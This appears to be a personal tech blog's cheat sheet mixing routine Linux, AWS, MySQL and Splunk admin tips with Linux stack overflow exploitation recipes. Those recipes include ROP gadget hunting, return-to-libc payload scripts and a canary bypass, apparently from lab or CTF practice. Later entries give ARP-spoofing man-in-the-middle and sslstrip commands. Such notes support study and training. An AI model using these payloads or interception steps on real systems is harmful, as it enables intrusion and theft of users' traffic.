.random.tech.reviews.: October 2010

Firefox/Chrome: reload tab with javascript (no extensions)

console> win1 = window.open("https://ifconfig.io");

console> timer1 = setInterval( function(){ win1.location.href="https://ifconfig.io" }, 1*60*1000 ); # every 1 min

Linux: find execve("/bin/sh") rop gadget manually

bash> ldd ./mybinary

linux-vdso.so.1 => (0x00007ffff7ffd000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007ffff7c29000)
/lib64/ld-linux-x86-64.so.2 (0x0000555555554000)

bash> strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep "/bin/bash"

180543 /bin/sh

bash> objdump -M intel -d /lib/x86_64-linux-gnu/libc.so.6 | grep -B execve | grep 180543 -A5

   e9421:    48 8d 3d 1b 71 09 00     lea    rdi,[rip+0x9711b]        # 180543 <_libc_intl_domainname+0x242>
   e9428:    48 8b 10                 mov    rdx,QWORD PTR [rax]
   e942b:    e8 00 bd fd ff           call   c5130 <execve>
--
--
   ea379:    48 8d 3d c3 61 09 00     lea    rdi,[rip+0x961c3]        # 180543 <_libc_intl_domainname+0x242>
   ea380:    48 8b 10                 mov    rdx,QWORD PTR [rax]
   ea383:    e8 a8 ad fd ff           call   c5130 <execve>

bash> gdb ./mybinary

gdb-peda$ break main

gdb-peda$ run

gdb-peda$ vmmap

Start              End                Perm    Name
0x00400000         0x00401000         r-xp    /tmp/test
0x00600000         0x00601000         r--p    /tmp/test
0x00601000         0x00602000         rw-p    /tmp/test
0x00007ffff7a11000 0x00007ffff7bcf000 r-xp    /lib/x86_64-linux-gnu/libc-2.19.so

....

gdb-peda$ x/3i 0x00007ffff7a11000+0xe9421

0x7ffff7afa421 <exec_comm+1281>:    lea    rdi,[rip+0x9711b]        # 0x7ffff7b91543
0x7ffff7afa428 <exec_comm+1288>:    mov    rdx,QWORD PTR [rax]
0x7ffff7afa42b <exec_comm+1291>:    call   0x7ffff7ad6130 <__execve>

Linux: 64bit returl-to-libc gets() stack overflow canary bypass # -ASLR +NX

1. find the offset N on the stack that overwirtes RIP, the CANNARY lives 16 bytes earlier

2. find address of "pop rdi;ret", system(), "sh", exit()

3. create the payload (in python)

import struct as s

sys = 0x7ffff7a57590 # sytem()
exi = 0x7ffff7a4d1e0     # exit()
cmd = 0x7ffff7a21dfe     # null-terminated arg for system
pad = 0x1111111111111111 # random qword
pop = 0x400643         # pop rdi; ret

print "A"*N + "CANNARYV" + s.pack("<Q",pad) + s.pack("<Q",pop) + s.pack("<Q",cmd) + s.pack("<Q",sys) + s.pack("<Q",exi)

4. save the pattern in a file

bash> python own.py > pattern

5. run the program in gdb and patch the cannary value after gets() executes

gdb-peda$ pdisass main

Dump of assembler code for function main:
   0x000000000040059d <+0>:    push   rbp
   0x000000000040059e <+1>:    mov    rbp,rsp
   0x00000000004005a1 <+4>:    add    rsp,0xffffffffffffff80
   0x00000000004005a5 <+8>:    mov    DWORD PTR [rbp-0x74],edi
   0x00000000004005a8 <+11>:   mov    QWORD PTR [rbp-0x80],rsi
   0x00000000004005ac <+15>:   mov    rax,QWORD PTR fs:0x28
   0x00000000004005b5 <+24>:   mov    QWORD PTR [rbp-0x8],rax
   0x00000000004005b9 <+28>:   xor    eax,eax
   0x00000000004005bb <+30>:   lea    rax,[rbp-0x70]
   0x00000000004005bf <+34>:   mov    rdi,rax
   0x00000000004005c2 <+37>:   call   0x4004a0 <gets@plt>
   0x00000000004005c7 <+42>:   mov    rdx,QWORD PTR [rbp-0x8]
   0x00000000004005cb <+46>:   xor    rdx,QWORD PTR fs:0x28
   0x00000000004005d4 <+55>:   je     0x4005db <main+62>
   0x00000000004005d6 <+57>:   call   0x400470 <__stack_chk_fail@plt>
   0x00000000004005db <+62>:   leave
   0x00000000004005dc <+63>:   ret
End of assembler dump.

gdb-peda$ break *0x00000000004005b5

gdb-peda$ break *0x00000000004005c7

gdb-peda$ run < pattern

gdb-peda$ p $rax

$1 = 0x8393371af6b62200 <- this is the cannary value

gdb-peda$ continue
gdb-peda$ patch $rbp-0x8 0x8393371af6b62200

Written 8 bytes to 0x7fffffffed68

gdb-peda$ continue

Linux: 64bit return-to-libc gets() stack overflow exploit # -ASLR +NX

note:

on 64bit arg to system() needs to be in RDI

pop rdi - load next qword from stack into RDI, ex: addr("sh")

ret - execute next instruction on the stack, ex: addr(system)

1. find the offset N on the stack that overwrites RIP
2. find address of "pop rdi;ret" rop gadget so we can pass args to functions

gdb-peda$ break main
gdb-peda$ run
gdb-peda$ ropsearch "pop rdi"

0x004005b3 : (b'5fc3') pop rdi; ret

3. find address of system() and exit()

gdb-peda$ print system

gdb-peda$ print exit

4. find addr of "sh" string somewhere in memory ending with NULL (0x00)

gdb-peda$ find "sh"

libc : 0x7ffff7a22c37 --> 0x6572687470006873 ('sh')

gdb-peda$ hexdump 0x7ffff7a22c37

0x00007ffff7a22c37 : 73 68 00 70 74 68 72 65 61 64 5f 63 6f 6e 64 5f sh.pthread_cond_

5. create the payload (with perl) - this will only work with gets() as strcpy() ignores NULL bytes

print "A"xN . "\xb3\x05\x40\x00\x00\x00\x00\x00" . "\x37\x2c\xa2\xf7\xff\x7f\x00\x00" . "<addr_of_system>" . "<addr_of_exit>"

Linux: ASM: argument passing to functions 32bit vs 64bit
32bit binaries pass arguments to function on the stack:

-4 | addr(param2)
-8 | addr(param1)
-12 | addr(ret)
-16 | addr(func)

64bit binaries pass arguments to function in registers:

RDI - first arg
RSI - second arg
RDX - third arg
RCX - fourth arg
R8 - fifth arg
R9 - sixth arg

Only the 7th+ arguments are passed on the stack.

Linux: 32bit return-to-libc gets() stack overflow exploit # +ASLR +NX
gcc -o mybinary -fno-stack-protector -m32 mybinary.c
+------------+------------+----------+-----------+
|AAAAAAAAAAAA|addr(system)|addr(exit)|addr(ENVAR)|
+------------+------------+----------+-----------+
args EBP

import struct as s

import subprocess as sp



# after mybinary is started and waiting for input find addresss of libc and stack

libc = sp.Popen("cat /proc/`pidof mybinary`/maps | grep libc | head -1 | awk -F- '{ print $1 }'", shell=True, stdout=sp.PIPE).stdout.read()

stack_top = sp.Popen("cat /proc/`pidof mybinary`/maps | grep stack | awk '{ print $1 }' | awk -F- '{ print $2 }'", shell=True, stdout=sp.PIPE).stdout.read()



# find constant offset b/w libc and addr with peda "distance"

sys = hex(int(libc,16) + 262928)        # addr of system() = libc + constant offset

exi = hex(int(libc,16) + 209504)        # addr of exit() = libc + constant offset

env = hex(int(stack_top,16) - 60)       # addr of ENVAR = top of stack - some offset

  # points right at this location                                 -60 v---------------------------------+ stack_top

  # bash> cat in | env -i PWD="/tmp" SHELL="/bin/bash" SHLVL=0 ENVAR="    ls -l;id;whoami;cat /root/flag" /tmp/mybinary



print "A" * 503 + s.pack("<I",int(sys,16)) + s.pack("<I",int(exi,16)) + s.pack("<I",int(env,16)) + "AAA" # python own.py > in

Linux: writing to stdin of a process after you start it
bash> mkfifo /tmp/input
bash> cat /tmp/input | myproc
bash> cat file > /tmp/input

Linux: 32bit return-to-libc stack overflow exploit # -ASLR +NX
gcc -o mybinary -fno-stack-protector -m32 mybinary.c
+--------------+--------+--------+-------------+
| AAAAAAAAAAAA |system()|ret_addr|arg_to_system|
+--------------+--------+--------+-------------+
args EBP

1. find the offset N on the stack that overwrites EIP
2. the payload will have to be in the format "A"xN + addr of system() + addr of exit() + addr of "sh"
3. find address of system() and exit()

(gdb) break main
(gdb) run
(gdb) print system
(gdb) print exit

4. find addr of "sh" string somewhere in memory ending with NULL (0x00)

(gdb) info proc map # vmmap in peda

process 3000
Mapped address spaces:
   Start Addr   End Addr       Size     Offset objfile
   0x8048000 0x8049000     0x1000        0x0 /tmp/test
   0x8049000 0x804a000     0x1000        0x0 /tmp/test
   0x804a000 0x804b000     0x1000     0x1000 /tmp/test
   0xf7e1e000 0xf7e1f000     0x1000        0x0
   0xf7e1f000 0xf7fca000   0x1ab000        0x0 /lib/i386-linux-gnu/libc-2.19.so
   0xf7fca000 0xf7fcc000     0x2000   0x1aa000 /lib/i386-linux-gnu/libc-2.19.so
   0xf7fcc000 0xf7fcd000     0x1000   0x1ac000 /lib/i386-linux-gnu/libc-2.19.so
   0xf7fcd000 0xf7fd0000     0x3000        0x0
   0xf7fda000 0xf7fdb000     0x1000        0x0
   0xf7fdb000 0xf7fdc000     0x1000        0x0 [vdso]
   0xf7fdc000 0xf7ffc000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.19.so
   0xf7ffc000 0xf7ffd000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.19.so
   0xf7ffd000 0xf7ffe000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.19.so
   0xfffdd000 0xffffe000    0x21000        0x0 [stack]

(gdb) find 0xf7e1f000,0xf7fca000,"sh" # find "sh" in peda

0xf7e2d469
0xf7e2e3a8
...
11 patterns found.

(gdb) x/s 0xf7e2d469

0xf7e2d469: "sh"

5. create the payload (with perl) - this will only work with gets() as strcpy() ignores NULL bytes

print "A"xN."<addr_of_system>"."<addr_of_exit>"."\x69\xd4\xe2\xf7"

Linux: shellcode repo
http://shell-storm.org/shellcode/

Linux: basic stack overflow exploit # -ASLR -NX
gcc -o mybinary -fno-stack-protector -z execstack -m32 mybinary.c
+--------------+-----+-----------+
| AAAAAAAAAAAA | RET | SHELLCODE |
+--------------+-----+-----------+
args EBP

Running your program with identical stacks in the terminal and in gdb:

bash> env -i PWD="/tmp" SHELL="/bin/bash" SHLVL=0 /bin/bash -c "(cat exploit; cat) | /tmp/mybinary"
bash> env -i PWD="/tmp" SHELL="/bin/bash" SHLVL=0 gdb /tmp/mybinary"

Within gdb, make sure to unset env LINES and env COLUMNS

Linux: ASM: stack frame

Apache: mod_rewrite simulator

http://htaccess.madewithlove.be/

Apache: Turn off server signature for production

#httpd.conf
ServerSignature Off
ServerTokens Prod

AWK: Remove duplicate lines from a file:

bash> awk '!x[$0]++' file.txt

AWS: CLI: Environment variables

bash> AWS_ACCESS_KEY_ID=XXX AWS_SECRET_ACCESS_KEY=XXX aws s3 ls

AWS: ELB: Converting certificate private key into PEM format acceptable by ELB

bash> openssl rsa -in my-openssl-pk -outform PEM > my-openssl-pk.pem

AWS: S3: URL for S3 buckets

http://bucket_name.s3.amazonaws.com/

AWS: S3: IAM policy for granting full access to a single bucket from a specific IP range

{
"Statement": [
{
"Effect": "Allow",
"Action": ["s3:GetBucketLocation", "s3:ListAllMyBuckets"],
"Resource": "arn:aws:s3:::*",
"Condition": {
"IpAddress": { "aws:SourceIp": ["1.1.1.1/16", "2.2.2.2/30"] }
}
},
{
"Effect": "Allow",
"Action": "s3:*",
"Resource": [ "arn:aws:s3:::bucket_name", "arn:aws:s3:::bucket_name/*"],
"Condition": {
"IpAddress": { "aws:SourceIp": ["1.1.1.1/16", "2.2.2.2/30"] }
}
}
]
}

AWS: S3: Bucket policy for granting full access to a single bucket from a specific IP range

{
"Statement": [
{
"Effect": "Allow",
"Principal": "*",
"Action": ["s3:GetBucketLocation", "s3:ListAllMyBuckets"],
"Resource": [ "arn:aws:s3:::*" ],
"Condition": {
"IpAddress": { "aws:SourceIp": ["1.1.1.1/16", "2.2.2.2/30"] }
}
},
{
"Effect": "Allow",
"Principal": "*",
"Action": "s3:*",
"Resource": [ "arn:aws:s3:::bucket_name", "arn:aws:s3:::bucket_name/*"],
"Condition": {
"IpAddress": { "aws:SourceIp": ["1.1.1.1/16", "2.2.2.2/30"] }
}
}
]
}

AWS: RDS: MySQL: Import Issue

ERROR 1227 (42000) at line X: Access denied; you need (at least one of) the SUPER privilege(s) for this operation
If you get this error first in the parameter group for the RDS you're importing into try setting "log_bin_trust_function_creators = 1". If that does not help than the DEFINER statement in your trigger definition is wrong. Open the sql file with vim and go to line X. See what DEFINER statement looks like and either correct it so it matches the user you're importing as or just delete it completely (:%s/DEFINER=`user`@`host`//g). The import should work now.

AWS: RDS: MySQL: Grant all privileges to DB user

Generally "GRANT ALL ON *.*" on RDS will fail because the root account does not have SUPER user privileges. MySQL however allows the use of `%` or "_" as wildcards for the database, which will allow GRANT on all of the user-created databases and tables.
mysql> GRANT ALL ON `%`.* TO user@'%' IDENTIFIED BY 'password';

AWS: RDS: MySQL: Rotate mysql.general_log and mysql.slow_log table

mysql> CALL mysql.rds_rotate_general_log;

AWS: RDS: MySQL: Skip a SQL operation if replication gets stuck

1. Connect with mysql command to slave

2. CALL mysql.rds_skip_repl_error;

Git: Permanently cache credentials

For buildmachines it's useful to permanently cache the git service account
bash> git config --global credential.helper store

Haproxy: Setup logging properly through rsyslogd

# haproxy.cfg
log /dev/log local1 info
###
# rsyslog.conf
# if haproxy logs are also being written to /var/log/messages you can exclude them
*.info;mail.none;authpriv.none;cron.none;local1.none /var/log/messages
###
# rsyslog.d/10-haproxy.conf
$AddUnixListenSocket /var/lib/haproxy/dev/log # if haproxy is being chrooted to /var/lib/haproxy, run: mkdir /var/lib/haproxy/dev
if $programname startswith 'haproxy' then /var/log/haproxy.log
&~
###

Haproxy: Maintenance mode on demand

# haproxy.cfg
global
stats socket /var/lib/haproxy/stats mode 600 level admin
###

bash> mkdir -p /var/lib/haproxy/

# install socat tool
bash> echo "disable server <backend>/<server-name>" | socat stdio /var/lib/haproxy/stats
bash> echo "enable server <backend>/<server-name>" | socat stdio /var/lib/haproxy/stats

LDAP: ldapsearch

bash> ldapsearch -x -h 1.2.3.4 -D "CN=My Name,OU=Mailboxes,DC=company,DC=com" -W -b 'CN=John Doe,OU=Mailboxes,DC=company,dc=com';

bash> ldapsearch -x -h ad.mydomain.com -D "username" -W password -b "OU=Users, OU=Myorg, dc=mydomain, dc=com";

Linux: bash: parallel runs of a process in N batches

#!/bin/bash

N=4; i=1 # 3 parallel threads

(

for thing in a b c d e f g; do

((i=i%N)); ((i++==0)) && wait

my-cmd ${thing} &

done

)

Linux: rsyslog: disable rate limit
# /etc/rsyslog.conf
$SystemLogRateLimitInterval 0
$SystemLogRateLimitBurst 0
###

Linux: Sysctl: enable VM address space layout randomization

# in /etc/sysctl.conf
kernel.randomize_va_space = 2

Linux: IPTABLES: Connection throttling

Drop incoming connections which make more than 5 connection attempts on port 22 within 60 seconds:
bash> iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --set
bash> iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent --update --seconds 60 --hitcount 5 -j DROP

Linux: IPTABLES: Block by matching string

Block DNS resolution for a domain containing "firefox"

bash> iptables -A OUTPUT -p udp -m upd --dport 53 -m string --string "firefox" --algo bm -j REJECT

Block HTTPS connections with "googleuser" in URL

bash> iptables -A OUTPUT -p tcp -m tcp --dport 443 -m string --string "googleuser" --algo bm -j REJECT

MSSQL: Find out what IP address you're connecting from
SELECT client_net_address FROM sys.dm_exec_connections WHERE session_id = @@spid

MySQL: Obtain a copy of the database for setting up a replica (with minimal locking)
bash> mysqldump --databases --master-data --routines --single-transaction my_db_name > my_db_name.sql

MySQL: Make a backup without locking the database (for InnoDB engine only)

bash> mysqldump --single-transaction --routines my_db_name > my_db_name.sql

MySQL: Skip a SQL operation if replication gets stuck
Connect with mysql command to slave

mysql> SHOW SLAVE STATUS \G
mysql> STOP SLAVE;
mysql> SET GLOBAL SQL_SLAVE_SKIP_COUNTER = 1;
mysql> START SLAVE;

OpenSSH: Generate Public key from a Private key
bash> ssh-keygen -y -f id_rsa > id_rsa.pub

OpenSSL: Generate Self-Signed SSL certificate
bash> openssl req -x509 -newkey rsa:2048 -nodes -keyout key.pem -out cert.pem -days 1234

OpenSSL: Encrypt a string using AES-128-CBC and base64 encode it
bash> openssl aes-128-cbc -K <encryption_key_hex> -iv <initialization_vector_hex> -in file.orig -a

Splunk: UF: Renaming Hosts
Method 1: To change the host name reported on the Splunk Web UI, on the forwarding agent edit the following file "/opt/splunkforwarder/etc/system/local/inputs.conf" then restart the splunk agent.

Method 2: After changing the hostname for a machine or before making an AMI make sure to stop splunk forwarder and run:

bash> splunk clone-prep-clear-config

Splunk: UF: Check Status of Universal Forwarder
On the machine running the Splunk Universal Forwarder open a browser and go to:
https://localhost:8089/services/admin/inputstatus/TailingProcessor:FileStatus

Or from the command line:
/opt/splunkforwarder/bin/splunk _internal call /services/admin/inputstatus/TailingProcessor:FileStatus

Splunk: UF: Reindex all files on a host

1. On any Search Head - delete the respective data from the indexers first, otherwise there will be duplicates after the reindex; log in as admin and pipe the search results you want gone to the delete command (i.e. sourceytpe=balh | delete), make sure to do it for "All time" time period

2. On the machine with the Universal Forwarder - delete the fishbucket: rm -rf /opt/splunkforwarder/var/lib/splunk/fishbucket && /etc/init.d/splunk restart

NOTE

If files monitored by splunk UF have not had any logs in them in the last few hours you might need to "echo "test" >> monitored_log_file" before step 2 above will work

Splunk: UF: Autoscaling

When running the Splunk UF on an ASG you can't use the IP address or hostname of the instances for controlling things on the Splunk deployment server, instead you can use the clientName. Here's now you set it up on the UF

# add below lines to /opt/splunkforwarder/etc/system/local/deploymentclient.conf
[deployment-client]
clientName = my-host-name

TAR: copy directory to another server and preserve permissions

bash> tar cf - /my/dir | ssh user@host tar xf - -C /your/dir

TeamPass: Custom improvements

items.load.php:

> ZeroClipboard.setMoviePath("<?php echo $_SESSION['settings']['cpassman_url'];?>/includes/js/zeroclipboard/ZeroClipboard.swf");
< ZeroClipboard.setMoviePath("https://teampass.ecs.autodesk.com/teampass/includes/js/zeroclipboard/ZeroClipboard.swf");

items.php:
> id="pw_size" value="8"

> id="edit_pw_size" value="8"

< id="pw_size" value="16"

< id="edit_pw_size" value="16"

Ubuntu: Disable upstart job from running at boot time

# echo 'manual' > /etc/init/SERVICE.override

bash> echo 'manual' > /etc/init/rpcbind.override

Ubuntu: Upstart init script template
#/etc/init/nodejs.conf
description "node"
author "admin@company.com"

respawn
respawn limit 20 5

start on runlevel [2345]
stop on runlevel [^2345]

# set limit on number of opened files
limit nofile 65535 65535

script

exec sudo -u www-data NODE_ENV=prod /usr/bin/nodejs /var/www/server.js >> /var/log/nodejs.log 2>&1
end script
###

Ubuntu: Systemv init script template

#/etc/init.d/my_service

### BEGIN INIT INFO
# Provides: my_service
# Required-Start:
# Required-Stop:
# Default-Start: 2 3 4 5
# Default-Stop: 0 1 6
# Description: Start my_service at boot time
### END INIT INFO

SERVICE="my_service"
CMD=/usr/bin/my_service

case $1 in
"start")
echo "Starting $SERVICE"
;;
"stop")
echo "Stopping $SERVICE"
;;
"restart")
echo "Restart $SERVICE"
;;
"status")
echo "$SERVICE Status"
pidof $CMD
;;
*)
echo "Invalid Option"
echo "Valid Options: start|stop|restart|status"
;;
esac
###

To enable my_service to start/stop automatically run the following:
bash> update-rc.d my_service defaults
bash> update-rc.d my_service enable

Ubuntu: Duo Authentication
# create /etc/apt/sources.list.d/duosecurity.list containing the line below

deb http://pkg.duosecurity.com/Ubuntu trusty main

curl -s https://www.duosecurity.com/APT-GPG-KEY-DUO | sudo apt-key add -
apt-get update && apt-get install duo-unix

# edit /etc/pam.d/common-auth and add the following line AFTER pam_deny.so line
auth requisite /lib64/security/pam_duo.so

### edit /etc/ssh/sshd_config
UsePAM yes
ChallengeResponseAuthentication yes
UseDNS no

# decide what to do about pubkey authentication as if that succeeds SSH skips PAM
# add below to the end of sshd_config to allow ssh keys only from restricted networks
PubkeyAuthentication no
Match Address 1.1.1.1/16,2.2.2.2/16
PubkeyAuthentication yes
###

bash> service ssh restart

VLC: capture one frame (25fps) from a webcam and save it in png

bash> vlc v4l2:// --vout=dummy --aout=dummy --intf=dummy --video-filter=scene --scene-format=png --scene-ratio=25 --scene-width=384 --scene-height=288 --run-time=1 --scene-prefix=frame --scene-path=/path/vlc-capture/ vlc://quit

Convert png to gd2 for nagios:

bash> pngtogd2 image.png image.gd2 0 1;

0 = chunk size

1 = no compression (raw)

Ettercap arp mitm between gw and target and save traffic to a file:

bash> ettercap -Tq -M arp -i eth0 -w traffic.out /1.1.1.1/ /2.2.2.2/;

-T = text

-q = quiet

-i = interface

-w = file

/1.1.1.1/ = gw

/2.2.2.2/ = target

sslstrip

1. bash> echo "1" > /proc/sys/net/ipv4/ip_forward; # enable IP forwarding

2. bash> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000; # redirect all tcp traffic from port 80 to localhost port 10000 (to sslstrip)

3. run sslstrip

4. bash> ettercap -T -M arp -i eth0 -o /1.1.1.1/ /2.2.2.2/; # perform arp poisoning only

Find

bash> find / -name -exec ls -l '{}' ';'

bash> find / -name -exec ls -l {} \;

bash> find / -type f -mtime +4w -exec rm -rf {} \; # delete all files older than 4 weeks

bash> find / -name -exec cat {} >>out \; # output content of found files to file out

bash> tar cf archive.tar $(find . -name myfiles*); # tar all myfiles found into archive.tar

SSH: Socks proxy over ssh

bash> ssh -C -D 1080 user@host

set browser to use 127.0.0.1:1080 as socks server and all web traffic will be going through the ssh tunnel

pppd

bash> pppd noauth 192.168.0.1:192.168.0.2 pty 'ssh user@host -t "pppd noauth"';

this will create a ppp tunnel with IPs 192.168.0.1:192.168.0.2 between localhost and host you ssh into

sed

#search for 'PATTERN ABC' and return 'ABC'

bash> VAL=`sed -n 's/.*PATTERN $[A-Z][A-Z][A-Z]$.*/\1/p' test.txt`;

# group needed match with () then reuseit with \1 OR reuse entire match with &

bash> sed 's/text$[A-Z].*$text/\1/' test.txt;

example: if test.txt contains textHELLOtext, running the above command will output: HELLO or textHELLOtext if you use & instead of \1

grep

# find text across multiple lines with regex - (?s) makes .* match new lines

bash> grep -Pz -o '(?s)PAT1.*PAT2'

perl

# remove text across multiple lines with regex - /s makes .* match new lines

bash> perl -0777 -pi -e 's/PAT1.*PAT2//s' test.txt

Exiftool: Increment dates by 1 year
bash> exiftool "-alldates-=1:00:00 00:00:00" picture.jpg

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Thursday, October 21, 2010

Tech Cheat-sheet

Thursday, October 07, 2010

nvidia driver for gentoo xen host

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